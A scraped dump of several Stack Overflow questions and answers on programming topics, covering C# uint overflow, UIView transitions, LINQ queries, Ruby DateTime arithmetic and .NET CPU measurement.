everything works fine; no errors. But when I run it from the console application it throws the following exception > > ex = {"The 'Microsoft.ACE.OLEDB.12.0' > provider is not registered on the > local machine."} > > > Both projects have the same reference and the console application did work when I first wrote it (a while ago) but now it has stopped work. I must be missing something but I don't know what. Any ideas?
I have a visual Basic program with Visual Studio 2008 that uses an Access 2007 database and was receiving the same error. I found some threads that advised changing the advanced compile configuration to x86 found in the programs properties if you're running a 64 bit system. So far I haven't had any problems with my program since.
238,654
<p>I have animation code in a class that extends the UIView:</p> <pre><code>// Start Animation Block CGContextRef context = UIGraphicsGetCurrentContext(); [UIView beginAnimations:nil context:context]; [UIView setAnimationTransition: UIViewAnimationTransitionFlipFromLeft forView:[self superview] cache:YES]; [UIView setAnimationCurve:UIViewAnimationCurveEaseInOut]; [UIView setAnimationDuration:1.0]; //int nextView = currentView + 1; // Animations [[self superview] exchangeSubviewAtIndex:0 withSubviewAtIndex:1]; //And so I would do: [[self superview exchangeSubviewAtIndex:currentView withSubviewAtIndex:nextView]; //Doesn't work because curentView is not global... with each instance of a class it's reset to what it's instanciated to. //currentView++; // Commit Animation Block [UIView commitAnimations]; </code></pre> <p>This animation code works fine for two views. But I am trying to do this for many views. I tried by adding in a global variable (nextview index and currentView index), however this doesn't work since each custom view class has it's own instance and these variables aren't shared.</p> <p>Does anyone know how I can accomplish what I want to do?</p> <p>Thanks!</p> <p>Edit: I would be able to do this, if I could use [self superview] to access the index of the currentview and of the nextview. Are there some methods to do this?</p>
[ { "answer_id": 238670, "author": "Nick Stinemates", "author_id": 4960, "author_profile": "https://Stackoverflow.com/users/4960", "pm_score": 0, "selected": false, "text": "<p>I think a Linked List of views might be what you should think about implementing.</p>\n" }, { "answer_id": 238688, "author": "Noah Witherspoon", "author_id": 30618, "author_profile": "https://Stackoverflow.com/users/30618", "pm_score": 2, "selected": false, "text": "<p>If you have pointers to the views you're trying to switch between, just call -removeFromSuperview on the \"from\" view and -addSubview:(the \"to\" view) on the superview. The transition doesn't rely on any particular method call; more or less any form of the \"swap two views\" approach will be animated properly.</p>\n" }, { "answer_id": 238762, "author": "Max Stewart", "author_id": 18338, "author_profile": "https://Stackoverflow.com/users/18338", "pm_score": 3, "selected": false, "text": "<p>Apple have a pretty good tutorial on view transitions <a href=\"https://developer.apple.com/iphone/library/samplecode/ViewTransitions/index.html\" rel=\"nofollow noreferrer\">here</a>. Other than the way they implement them you can also look at using a UINavigationController which manages a bunch of views and transitioning between them.</p>\n\n<p>Essentially you need to manage the transition in the superview rather than the view - the superview can know who it's currently displaying and who's next.</p>\n" }, { "answer_id": 9557304, "author": "Matt James", "author_id": 359477, "author_profile": "https://Stackoverflow.com/users/359477", "pm_score": 1, "selected": false, "text": "<p>For those who find this question who are supporting iOS 4.0 and higher, Apple has provided a built-in API for this task:</p>\n\n<p>See: <a href=\"https://developer.apple.com/library/ios/#documentation/uikit/reference/UIView_Class/UIView/UIView.html\" rel=\"nofollow\">transitionFromView:toView:duration:options:completion:</a></p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238654", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23695/" ]
I have animation code in a class that extends the UIView: ``` // Start Animation Block CGContextRef context = UIGraphicsGetCurrentContext(); [UIView beginAnimations:nil context:context]; [UIView setAnimationTransition: UIViewAnimationTransitionFlipFromLeft forView:[self superview] cache:YES]; [UIView setAnimationCurve:UIViewAnimationCurveEaseInOut]; [UIView setAnimationDuration:1.0]; //int nextView = currentView + 1; // Animations [[self superview] exchangeSubviewAtIndex:0 withSubviewAtIndex:1]; //And so I would do: [[self superview exchangeSubviewAtIndex:currentView withSubviewAtIndex:nextView]; //Doesn't work because curentView is not global... with each instance of a class it's reset to what it's instanciated to. //currentView++; // Commit Animation Block [UIView commitAnimations]; ``` This animation code works fine for two views. But I am trying to do this for many views. I tried by adding in a global variable (nextview index and currentView index), however this doesn't work since each custom view class has it's own instance and these variables aren't shared. Does anyone know how I can accomplish what I want to do? Thanks! Edit: I would be able to do this, if I could use [self superview] to access the index of the currentview and of the nextview. Are there some methods to do this?
Apple have a pretty good tutorial on view transitions [here](https://developer.apple.com/iphone/library/samplecode/ViewTransitions/index.html). Other than the way they implement them you can also look at using a UINavigationController which manages a bunch of views and transitioning between them. Essentially you need to manage the transition in the superview rather than the view - the superview can know who it's currently displaying and who's next.
238,660
<p>When you attempt to declare an unsigned variable in C#.NET with a value outside its value range it is flagged as a compiler error, but if you produce a negative value at runtime and assign it to that variable at runtime the value wraps.</p> <pre><code>uint z = -1; // Will not compile uint a = 5; uint b = 6; uint c = a - b; // Will result in uint.MaxValue </code></pre> <p>Is there a good reason why unsigned variables wrap in such a situation instead of throwing an exception?</p> <p>Thanks.</p>
[ { "answer_id": 238669, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 6, "selected": true, "text": "<p>Declaring an unassigned variable in C# isn't flagged with an error - trying to assign an invalid value to a variable is. For instance, here's a variable which isn't definitely assigned (assuming it's local) after declaration:</p>\n\n<pre><code>uint z;\n</code></pre>\n\n<p>-1 isn't a valid value for a uint any more than 0.5 is, which is why your example wouldn't compile.</p>\n\n<p>Now, as for the rest: integers types just wrap on overflow - just as adding 1 to <code>int.MaxValue</code> returns <code>int.MinValue</code>. This is a significant performance improvement over having the program check each operation for overflow - at the cost of potentially not spotting an error.</p>\n\n<p>That's only if you're in an unchecked context, mind you - if you perform any of these operations in a checked context, you'll get an exception instead. For instance;</p>\n\n<pre><code>class Test\n{\n static void Main()\n {\n checked\n {\n uint a = 5;\n uint b = 6;\n uint c = a - b;\n }\n }\n}\n</code></pre>\n\n<p>Run that and you'll see an <code>OverflowException</code> get thrown. If that's what you want for your whole project, you can set it in the project properties (or compile with the <code>/checked+</code> command line option to <code>csc</code>.)</p>\n\n<p>EDIT: It's worth noting that the other answers have shown that you could put smaller amounts of code in the checked context - just the declaration and assignment of <code>c</code> or even just the calculation. It's all pretty flexible.</p>\n" }, { "answer_id": 238672, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": false, "text": "<p>The wrapping is because by dfault C# is unchecked. If you add a \"checked\" block, the overflow will be detected:</p>\n\n<pre><code> uint a = 3, b = 4;\n checked\n {\n uint c = a - b; // throws an overflow\n }\n</code></pre>\n\n<p>As for the compiler: it simply demands valid data.</p>\n" }, { "answer_id": 238680, "author": "Dave Cluderay", "author_id": 30933, "author_profile": "https://Stackoverflow.com/users/30933", "pm_score": 2, "selected": false, "text": "<p>This is just the default - you can change the compilation settings to enable runtime arithetic overflow checks. If you turn that on, exceptions will be thrown as you are expecting. Alternatively, you can turn on checking for a specific operation by placing it inside a checked block.</p>\n\n<pre><code>uint c = checked(a - b);\n</code></pre>\n" }, { "answer_id": 238701, "author": "Andrew Watt", "author_id": 31650, "author_profile": "https://Stackoverflow.com/users/31650", "pm_score": 0, "selected": false, "text": "<p>Probably worth clarifying here that <code>uint</code> is an <em>unsigned</em> int, not an <em>unassigned</em> int. Big difference!</p>\n" }, { "answer_id": 341505, "author": "Robert Deml", "author_id": 9516, "author_profile": "https://Stackoverflow.com/users/9516", "pm_score": -1, "selected": false, "text": "<p>The reason it wraps to negative is because of <a href=\"http://en.wikipedia.org/wiki/Two%27s_complement\" rel=\"nofollow noreferrer\">Two's Complement</a> math that is used for integer arithmetic. </p>\n\n<p>The short answer is that the most significant bit is used as the sign. A zero is positive; a one is negative.</p>\n" }, { "answer_id": 2914402, "author": "Lonnie Best", "author_id": 217867, "author_profile": "https://Stackoverflow.com/users/217867", "pm_score": -1, "selected": false, "text": "<p>Always use double. The performance difference is insignificant, and it is more flexible and accommodating. This practice prevents exceptions and reduces development time. Anal people hate it though. </p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238660", "https://Stackoverflow.com", "https://Stackoverflow.com/users/27765/" ]
When you attempt to declare an unsigned variable in C#.NET with a value outside its value range it is flagged as a compiler error, but if you produce a negative value at runtime and assign it to that variable at runtime the value wraps. ``` uint z = -1; // Will not compile uint a = 5; uint b = 6; uint c = a - b; // Will result in uint.MaxValue ``` Is there a good reason why unsigned variables wrap in such a situation instead of throwing an exception? Thanks.
Declaring an unassigned variable in C# isn't flagged with an error - trying to assign an invalid value to a variable is. For instance, here's a variable which isn't definitely assigned (assuming it's local) after declaration: ``` uint z; ``` -1 isn't a valid value for a uint any more than 0.5 is, which is why your example wouldn't compile. Now, as for the rest: integers types just wrap on overflow - just as adding 1 to `int.MaxValue` returns `int.MinValue`. This is a significant performance improvement over having the program check each operation for overflow - at the cost of potentially not spotting an error. That's only if you're in an unchecked context, mind you - if you perform any of these operations in a checked context, you'll get an exception instead. For instance; ``` class Test { static void Main() { checked { uint a = 5; uint b = 6; uint c = a - b; } } } ``` Run that and you'll see an `OverflowException` get thrown. If that's what you want for your whole project, you can set it in the project properties (or compile with the `/checked+` command line option to `csc`.) EDIT: It's worth noting that the other answers have shown that you could put smaller amounts of code in the checked context - just the declaration and assignment of `c` or even just the calculation. It's all pretty flexible.
238,662
<pre><code>string[] filesOfType1 = GetFileList1(); string[] filesOfType2 = GetFileList2(); var cookieMap = new Dictionary&lt;string, CookieContainer&gt;(); Action&lt;string, Func&lt;string, KeyValuePair&lt;string, CookieContainer&gt;&gt;&gt; addToMap = (filename, pairGetter) =&gt; { KeyValuePair&lt;string, CookieContainer&gt; cookiePair; try { cookiePair = pairGetter(filename); } catch { Console.WriteLine("An error was encountered while trying to read " + file + "."); return; } if (cookieMap.ContainsKey(cookiePair.Key)) { if (cookiePair.Value.Count &gt; cookieMap[cookiePair.Key].Count) { cookieMap[cookiePair.Key] = cookiePair.Value; } } else { cookieMap.Add(cookiePair.Key, cookiePair.Value); } }; foreach (string file in filesOfType1) { addToMap(file, GetType1FileCookiePair); } foreach (string file in filesOfType2) { addToMap(file, GetType2FileCookiePair); } </code></pre> <p>Salient features that must be preserved:</p> <ul> <li>Files of type 1 are more important than files of type 2; i.e. if a file of type 1 maps to a (key, value1) combination and a file of type 2 maps to a (key, value2) combination, then we add (key, value1) to cookieMap and <em>not</em> (key, value2). <strong>Edit: as pointed out by Bevan, this is not satisfied by my original procedural code.</strong></li> <li>Secondarily, <code>CookieContainer</code>s with a higher <code>Count</code> have higher priority, i.e. if there are two (key, value) combos for the same key and both from the same filetype, we choose the one with higher <code>value.Count</code>.</li> <li>Per-case exception handling is a must; screwing up a single file-reading should just allows us to note that and continue.</li> </ul> <p>My best attempt started like this:</p> <pre><code>var cookieMap = (filesOfType1.Select(file =&gt; GetType1FileCookiePair(file)) .Concat(filesOfType2.Select(file =&gt; GetType2FileCookiePair(file)))) .GroupBy(pair =&gt; pair.Key) .Select(/* some way of selecting per the above bullets */) .ToDictionary(pair =&gt; pair.Key, pair =&gt; pair.Value); </code></pre> <p>But it's inelegant and filling in that comment block seems like a bitch. Right now I'm happy to stay procedural, but I thought that it might be a fun challenge to see if people can come up with something really clever.</p>
[ { "answer_id": 238729, "author": "Omer van Kloeten", "author_id": 4979, "author_profile": "https://Stackoverflow.com/users/4979", "pm_score": 1, "selected": false, "text": "<p>Excuse my not actually going ahead and compiling this, but this is the way I'd go around to doing it:</p>\n\n<pre><code>var cookieMap = (from pair in\n (from f1 in filesOfType1\n select Swallow(() =&gt; GetType1FileCookiePair(f1)))\n .Concat(from f2 in filesOfType2\n select Swallow(() =&gt; GetType2FileCookiePair(f2)))\n .SelectMany(dict =&gt; dict)\n group pair by pair.Key into g\n select g)\n .ToDictionary(g =&gt; g.Key, g =&gt; g.Select(pair =&gt; pair.Value)\n .OrderByDescending(value =&gt; value.Count)\n .First());\n</code></pre>\n\n<p><code>Swallow</code> follows:</p>\n\n<pre><code>private static T Swallow&lt;T&gt;(Func&lt;T&gt; getT)\n{\n try { return getT(); } catch { }\n\n return default(T);\n}\n</code></pre>\n\n<p>Love me a good LINQ.</p>\n\n<ul>\n<li><strong>Edit:</strong> Added a <code>Swallow</code> method that will swallow all exceptions.</li>\n<li><strong>Edit 2:</strong> Compiled, altered, etc. Added <code>Swallow</code>. Now works as intended.</li>\n</ul>\n" }, { "answer_id": 238861, "author": "Emperor XLII", "author_id": 2495, "author_profile": "https://Stackoverflow.com/users/2495", "pm_score": 2, "selected": false, "text": "<pre><code>using CookiePair = KeyValuePair&lt;string, CookieContainer&gt;;\nusing CookieDictionary = Dictionary&lt;string, CookieContainer&gt;;\n\nFunc&lt;string[], Func&lt;string, CookiePair&gt;, IEnumerable&lt;CookiePair&gt;&gt; getCookies =\n ( files, pairGetter ) =&gt;\n files.SelectMany( filename =&gt; {\n try { return new[] { pairGetter( filename ) }; }\n catch { Console.WriteLine( \"...\" ); return new CookiePair[0]; }\n } );\n\nvar type1Cookies = getCookies( filesOfType1, GetType1FileCookiePair ).ToArray( );\nvar type1CookieNames = type1Cookies.Select( p =&gt; p.Key ).ToArray( );\nvar type2Cookies = getCookies( filesOfType2, GetType2FileCookiePair )\n .Where( p =&gt; !type1CookieNames.Contains( p.Key ) );\n\nvar cookieMap = type1Cookies.Concat( type2Cookies )\n .Aggregate( new CookieDictionary( ), ( d, p ) =&gt; {\n if( !d.ContainsKey( p.Key ) || p.Value.Count &gt; d[p.Key].Count )\n d[p.Key] = p.Value;\n return d;\n } );\n</code></pre>\n\n<p><strong>Edit:</strong> Updated cookie retrieval to satisfy the \"files of type 1 are more important than those of type 2\" requirement.</p>\n" }, { "answer_id": 239325, "author": "Bevan", "author_id": 30280, "author_profile": "https://Stackoverflow.com/users/30280", "pm_score": 3, "selected": true, "text": "<p>Here's my attempt - seemed simplest to split the task into three distinct statements.</p>\n\n<p>I'm using a helper function that returns null if the action throws an exception - for consistency with the answer from Omer van Kloeten, I've called this Swallow()</p>\n\n<p>Also, I'm not using the LINQ syntax, just the extension methods provided by System.Linq.Enumerable</p>\n\n<p>Lastly, note that this is uncompiled - so take it as intent.</p>\n\n<pre><code>// Handle all files of type 1\nvar pairsOfType1 = \n filesOfType1\n .Select( file =&gt; Swallow( pairGetter(file)))\n .Where( pair =&gt; pair != null);\n\n// Handle files of type 2 and filter out those with keys already provided by type 1\nvar pairsOfType2 =\n filesOfType2\n .Select( file =&gt; Swallow( pairGetter(file)))\n .Where( pair =&gt; pair != null);\n .Where( pair =&gt; !pairsOfType1.Contains(p =&gt; p.Key == pair.Key));\n\n// Merge the two sets, keeping only the pairs with the highest count\nvar cookies =\n pairsOfType1\n .Union( pairsOfType2)\n .GroupBy( pair =&gt; pair.Key)\n .Select( group =&gt; group.OrderBy( pair =&gt; pair.Value.Count).Last());\n .ToDictionary( pair =&gt; pair.Key);\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238662", "https://Stackoverflow.com", "https://Stackoverflow.com/users/3191/" ]
``` string[] filesOfType1 = GetFileList1(); string[] filesOfType2 = GetFileList2(); var cookieMap = new Dictionary<string, CookieContainer>(); Action<string, Func<string, KeyValuePair<string, CookieContainer>>> addToMap = (filename, pairGetter) => { KeyValuePair<string, CookieContainer> cookiePair; try { cookiePair = pairGetter(filename); } catch { Console.WriteLine("An error was encountered while trying to read " + file + "."); return; } if (cookieMap.ContainsKey(cookiePair.Key)) { if (cookiePair.Value.Count > cookieMap[cookiePair.Key].Count) { cookieMap[cookiePair.Key] = cookiePair.Value; } } else { cookieMap.Add(cookiePair.Key, cookiePair.Value); } }; foreach (string file in filesOfType1) { addToMap(file, GetType1FileCookiePair); } foreach (string file in filesOfType2) { addToMap(file, GetType2FileCookiePair); } ``` Salient features that must be preserved: * Files of type 1 are more important than files of type 2; i.e. if a file of type 1 maps to a (key, value1) combination and a file of type 2 maps to a (key, value2) combination, then we add (key, value1) to cookieMap and *not* (key, value2). **Edit: as pointed out by Bevan, this is not satisfied by my original procedural code.** * Secondarily, `CookieContainer`s with a higher `Count` have higher priority, i.e. if there are two (key, value) combos for the same key and both from the same filetype, we choose the one with higher `value.Count`. * Per-case exception handling is a must; screwing up a single file-reading should just allows us to note that and continue. My best attempt started like this: ``` var cookieMap = (filesOfType1.Select(file => GetType1FileCookiePair(file)) .Concat(filesOfType2.Select(file => GetType2FileCookiePair(file)))) .GroupBy(pair => pair.Key) .Select(/* some way of selecting per the above bullets */) .ToDictionary(pair => pair.Key, pair => pair.Value); ``` But it's inelegant and filling in that comment block seems like a bitch. Right now I'm happy to stay procedural, but I thought that it might be a fun challenge to see if people can come up with something really clever.
Here's my attempt - seemed simplest to split the task into three distinct statements. I'm using a helper function that returns null if the action throws an exception - for consistency with the answer from Omer van Kloeten, I've called this Swallow() Also, I'm not using the LINQ syntax, just the extension methods provided by System.Linq.Enumerable Lastly, note that this is uncompiled - so take it as intent. ``` // Handle all files of type 1 var pairsOfType1 = filesOfType1 .Select( file => Swallow( pairGetter(file))) .Where( pair => pair != null); // Handle files of type 2 and filter out those with keys already provided by type 1 var pairsOfType2 = filesOfType2 .Select( file => Swallow( pairGetter(file))) .Where( pair => pair != null); .Where( pair => !pairsOfType1.Contains(p => p.Key == pair.Key)); // Merge the two sets, keeping only the pairs with the highest count var cookies = pairsOfType1 .Union( pairsOfType2) .GroupBy( pair => pair.Key) .Select( group => group.OrderBy( pair => pair.Value.Count).Last()); .ToDictionary( pair => pair.Key); ```
238,684
<p>I have a Ruby DateTime which gets filled from a form. Additionally I have n hours from the form as well. I'd like to subtract those n hours from the previous DateTime. (To get a time range).</p> <p>DateTime has two methods "-" and "&lt;&lt;" to subtract day and month, but not hour. (<a href="https://ruby-doc.org/stdlib-2.5.1/libdoc/date/rdoc/DateTime.html" rel="noreferrer">API</a>). Any suggestions how I can do that?</p>
[ { "answer_id": 238690, "author": "Matthias Winkelmann", "author_id": 4494, "author_profile": "https://Stackoverflow.com/users/4494", "pm_score": 3, "selected": false, "text": "<p>If you are working in <em>Rails</em>, the following super-intutive possibility exists:</p>\n\n<pre><code>&gt; Time.now - 12.hours\n=&gt; 2019-08-19 05:50:43 +0200\n</code></pre>\n\n<p>(This also works with <em>seconds</em>, <em>minutes</em>, <em>days</em>, and <em>years</em>)</p>\n\n<p>if you're using just Ruby, <code>DateTime</code> can't do this, but <code>Time</code> can:</p>\n\n<pre><code>t = Time.now\nt = t - (hours*60**2)\n</code></pre>\n\n<p>Note that <code>Time</code> also stores date information, it's all a little strange.</p>\n\n<p>If you have to work with <code>DateTime</code></p>\n\n<pre><code>DateTime.commercial(date.year,date.month,date.day,date.hour-x,date.minute,date.second)\n</code></pre>\n\n<p>might work, but is ugly. The doc says <code>DateTime</code> is immutable, so I'm not even sure about <code>-</code> and <code>&lt;&lt;</code></p>\n" }, { "answer_id": 238718, "author": "Mike Spross", "author_id": 17862, "author_profile": "https://Stackoverflow.com/users/17862", "pm_score": 2, "selected": false, "text": "<p><strong>EDIT</strong>: Take a look at <a href=\"https://stackoverflow.com/questions/238878/is-it-acceptable-practice-to-patch-rubys-base-classes-such-as-fixnum\">this question</a> before you decide to use the approach I've outlined here. It seems it may not be best practice to modify the behavior of a base class in Ruby (which I can understand). So, take this answer with a grain of salt...</p>\n\n<hr>\n\n<p><a href=\"https://stackoverflow.com/questions/238684/subtract-n-hours-from-a-datetime-in-ruby#238690\">MattW's answer</a> was the first thing I thought of, but I also didn't like it very much.</p>\n\n<p>I suppose you could make it less ugly by patching <code>DateTime</code> and <code>Fixnum</code> to do what you want:</p>\n\n<pre><code>require 'date'\n\n# A placeholder class for holding a set number of hours.\n# Used so we can know when to change the behavior\n# of DateTime#-() by recognizing when hours are explicitly passed in.\n\nclass Hours\n attr_reader :value\n\n def initialize(value)\n @value = value\n end\nend\n\n# Patch the #-() method to handle subtracting hours\n# in addition to what it normally does\n\nclass DateTime\n\n alias old_subtract -\n\n def -(x) \n case x\n when Hours; return DateTime.new(year, month, day, hour-x.value, min, sec)\n else; return self.old_subtract(x)\n end\n end\n\nend\n\n# Add an #hours attribute to Fixnum that returns an Hours object. \n# This is for syntactic sugar, allowing you to write \"someDate - 4.hours\" for example\n\nclass Fixnum\n def hours\n Hours.new(self)\n end\nend\n</code></pre>\n\n<p>Then you can write your code like this:</p>\n\n<pre><code>some_date = some_date - n.hours\n</code></pre>\n\n<p>where <code>n</code> is the number of hours you want to substract from <code>some_date</code></p>\n" }, { "answer_id": 238822, "author": "glenn mcdonald", "author_id": 7919, "author_profile": "https://Stackoverflow.com/users/7919", "pm_score": 3, "selected": false, "text": "<p>You didn't say what use you need to make of the value you get, but what about just dividing your hours by 24 so you're subtracting a fraction of a day?</p>\n\n<pre><code>mydatetime = DateTime.parse(formvalue)\nnhoursbefore = mydatetime - n / 24.0\n</code></pre>\n" }, { "answer_id": 239119, "author": "Daniel Beardsley", "author_id": 13216, "author_profile": "https://Stackoverflow.com/users/13216", "pm_score": 7, "selected": true, "text": "<p>You could do this.</p>\n\n<pre><code>adjusted_datetime = (datetime_from_form.to_time - n.hours).to_datetime\n</code></pre>\n" }, { "answer_id": 251832, "author": "danmayer", "author_id": 27738, "author_profile": "https://Stackoverflow.com/users/27738", "pm_score": 2, "selected": false, "text": "<p>I like using the helpers in active_support. It makes it really clean and easy to read.</p>\n\n<p>See the example below:</p>\n\n<pre><code>require 'active_support'\n\nlast_accessed = 2.hours.ago\nlast_accessed = 2.weeks.ago\nlast_accessed = 1.days.ago\n</code></pre>\n\n<p>There might be a way to use that kind of syntax to do what you are looking for, if the current date is used.</p>\n" }, { "answer_id": 343860, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 5, "selected": false, "text": "<p>You can just subtract less than one whole day:</p>\n\n<pre><code>two_hours_ago = DateTime.now - (2/24.0)\n</code></pre>\n\n<p>This works for minutes and anything else too:</p>\n\n<pre><code>hours = 10\nminutes = 5\nseconds = 64\n\nhours = DateTime.now - (hours/24.0) #&lt;DateTime: 2015-03-11T07:27:17+02:00 ((2457093j,19637s,608393383n),+7200s,2299161j)&gt;\nminutes = DateTime.now - (minutes/1440.0) #&lt;DateTime: 2015-03-11T17:22:17+02:00 ((2457093j,55337s,614303598n),+7200s,2299161j)&gt;\nseconds = DateTime.now - (seconds/86400.0) #&lt;DateTime: 2015-03-11T17:26:14+02:00 ((2457093j,55574s,785701811n),+7200s,2299161j)&gt;\n</code></pre>\n\n<p>If floating point arithmetic inaccuracies are a problem, you can use <code>Rational</code> or some other safe arithmetic utility.</p>\n" }, { "answer_id": 1274391, "author": "Mladen Jablanović", "author_id": 82592, "author_profile": "https://Stackoverflow.com/users/82592", "pm_score": 4, "selected": false, "text": "<p><code>n/24.0</code> trick won't work properly as floats are eventually rounded:</p>\n\n<pre><code>&gt;&gt; DateTime.parse('2009-06-04 02:00:00').step(DateTime.parse('2009-06-04 05:00:00'),1.0/24){|d| puts d}\n2009-06-04T02:00:00+00:00\n2009-06-04T03:00:00+00:00\n2009-06-04T03:59:59+00:00\n2009-06-04T04:59:59+00:00\n</code></pre>\n\n<p>You can, however, use Rational class instead:</p>\n\n<pre><code>&gt;&gt; DateTime.parse('2009-06-04 02:00:00').step(DateTime.parse('2009-06-04 05:00:00'),Rational(1,24)){|d| puts d}\n2009-06-04T02:00:00+00:00\n2009-06-04T03:00:00+00:00\n2009-06-04T04:00:00+00:00\n2009-06-04T05:00:00+00:00\n</code></pre>\n" }, { "answer_id": 6012178, "author": "Joe Kelley", "author_id": 754944, "author_profile": "https://Stackoverflow.com/users/754944", "pm_score": 4, "selected": false, "text": "<p>The advance method is nice if you want to be more explicit about behavior like this.</p>\n\n<pre><code>adjusted = time_from_form.advance(:hours =&gt; -n)\n</code></pre>\n" }, { "answer_id": 8574397, "author": "Anu", "author_id": 1107663, "author_profile": "https://Stackoverflow.com/users/1107663", "pm_score": -1, "selected": false, "text": "<p>You can use this :</p>\n\n<pre><code>Time.now.ago(n*60*60)\n</code></pre>\n\n<p>For example <code>Time.now.ago(7200)</code> will give the date and time that was before 2 hours from now.</p>\n" }, { "answer_id": 25311144, "author": "fguillen", "author_id": 316700, "author_profile": "https://Stackoverflow.com/users/316700", "pm_score": 2, "selected": false, "text": "<p>If I'm allowed to use <code>Time</code> instead of <code>DateTime</code> (There are <a href=\"https://stackoverflow.com/questions/279769/convert-to-from-datetime-and-time-in-ruby/280026#280026\">several ways to translate one to another</a>):</p>\n\n<pre><code># Just remove the number of seconds from the Time object\nTime.now - (6 * 60 * 60) # 6 hours ago\n</code></pre>\n" }, { "answer_id": 31447415, "author": "Nigel Thorne", "author_id": 23963, "author_profile": "https://Stackoverflow.com/users/23963", "pm_score": 4, "selected": false, "text": "<p>You just need to take off fractions of a day.</p>\n\n<pre><code>two_hours_ago = DateTime.now - (2.0/24)\n</code></pre>\n\n<ul>\n<li>1.0 = one day</li>\n<li>1.0/24 = 1 hour</li>\n<li>1.0/(24*60) = 1 minute</li>\n<li>1.0/(24*60*60) = 1 second</li>\n</ul>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238684", "https://Stackoverflow.com", "https://Stackoverflow.com/users/31644/" ]
I have a Ruby DateTime which gets filled from a form. Additionally I have n hours from the form as well. I'd like to subtract those n hours from the previous DateTime. (To get a time range). DateTime has two methods "-" and "<<" to subtract day and month, but not hour. ([API](https://ruby-doc.org/stdlib-2.5.1/libdoc/date/rdoc/DateTime.html)). Any suggestions how I can do that?
You could do this. ``` adjusted_datetime = (datetime_from_form.to_time - n.hours).to_datetime ```
238,697
<p>New to xml. Looking for XPath to search a xml file with python ElementTree format</p> <pre><code>&lt;root&gt; &lt;child&gt;One&lt;/child&gt; &lt;child&gt;Two&lt;/child&gt; &lt;child&gt;Three&lt;/child&gt; &lt;/root&gt; </code></pre> <p>to do search for child with "Two" and return true/false</p> <p>if it was started off like </p> <pre><code>from elementtree import ElementTree root = ElementTree.parse(open(PathFile)).getroot() </code></pre> <p>how can this be achieved</p>
[ { "answer_id": 238691, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>I would check out the System.Diagnostic namespace. It has a lot of stuff on tracking memory and cpu usage.</p>\n" }, { "answer_id": 238707, "author": "Mark S. Rasmussen", "author_id": 12469, "author_profile": "https://Stackoverflow.com/users/12469", "pm_score": 0, "selected": false, "text": "<p>I asked a closely related question a couple of days ago, and have yet not found a way to measure the actual CPU cycle usage of the code:\n<a href=\"https://stackoverflow.com/questions/234411/limiting-assembly-execution-number-of-cpu-cycles\">Limiting assembly execution number of cpu cycles</a></p>\n\n<p>In your case, could you not run a profiling of the calculation and see how much time a single calculation takes, and compare that to the aggregate time of spawning a thread that does the calculation and then kill the thread off afterwards?</p>\n" }, { "answer_id": 238739, "author": "Rob Walker", "author_id": 3631, "author_profile": "https://Stackoverflow.com/users/3631", "pm_score": 3, "selected": true, "text": "<p>You could use a sampling profiler like Intel's Vtune to obtain a measure of how many CPU cycles are being consumed with a minimum amount of disturbance on the system being measured.</p>\n\n<p>When using threads however the goal is to avoid needless spawning new threads. Look into using the <a href=\"http://msdn.microsoft.com/en-us/library/ms973903.aspx\" rel=\"nofollow noreferrer\">thread pool</a>. This will let you run work items asynchronously, but without having to spawn a new thread for each item.</p>\n" }, { "answer_id": 238886, "author": "Dave Markle", "author_id": 24995, "author_profile": "https://Stackoverflow.com/users/24995", "pm_score": 0, "selected": false, "text": "<p>Here's the problem with counting CPU cycles. Different CPUs take differing numbers of cycles to implement the same instruction. So it's not too reliable a metric IMO. I think what you should be measuring is time to execute, and in .NET, you use System.Environment.TickCount to accomplish this. I think that's the best you've got...</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238697", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
New to xml. Looking for XPath to search a xml file with python ElementTree format ``` <root> <child>One</child> <child>Two</child> <child>Three</child> </root> ``` to do search for child with "Two" and return true/false if it was started off like ``` from elementtree import ElementTree root = ElementTree.parse(open(PathFile)).getroot() ``` how can this be achieved
You could use a sampling profiler like Intel's Vtune to obtain a measure of how many CPU cycles are being consumed with a minimum amount of disturbance on the system being measured. When using threads however the goal is to avoid needless spawning new threads. Look into using the [thread pool](http://msdn.microsoft.com/en-us/library/ms973903.aspx). This will let you run work items asynchronously, but without having to spawn a new thread for each item.
238,702
<p>In my database, Concessions have a many-to-one relationship with Firms (each Concession has a FirmID). SqlMetal has captured this relationship and generated the appropriate classes, so that each Concession has a Firm element. I'm binding against a query (simplified here) that returns a list of Concessions along with information about the corresponding Firm:</p> <pre><code>From c as Concession in Db.Concessions _ Select _ c.ConcessionID, _ c.Title, _ c.Firm.Title </code></pre> <p>The problem is that in some cases a Concession has not been assigned to a Firm (c.FirmID is null), so c.Firm is nothing and I get <code>Object not set to an instance</code> etc.</p> <p>I can get around this by doing a join as follows:</p> <pre><code>From c As Concession In Db.Concessions _ Join f As Firm In Db.Firms On f.FirmID Equals c.FirmID _ Select _ c.ConcessionID, _ c.Title, _ Firm_Title = f.Title </code></pre> <p>This doesn't throw an error when FirmID is null (Firm_Title is just an empty string), but it's not elegant: it's not object-oriented, and it doesn't leverage all of the relational intelligence that Linq to SQL has already captured. </p> <p>Is there a more graceful way to deal with this situation?</p>
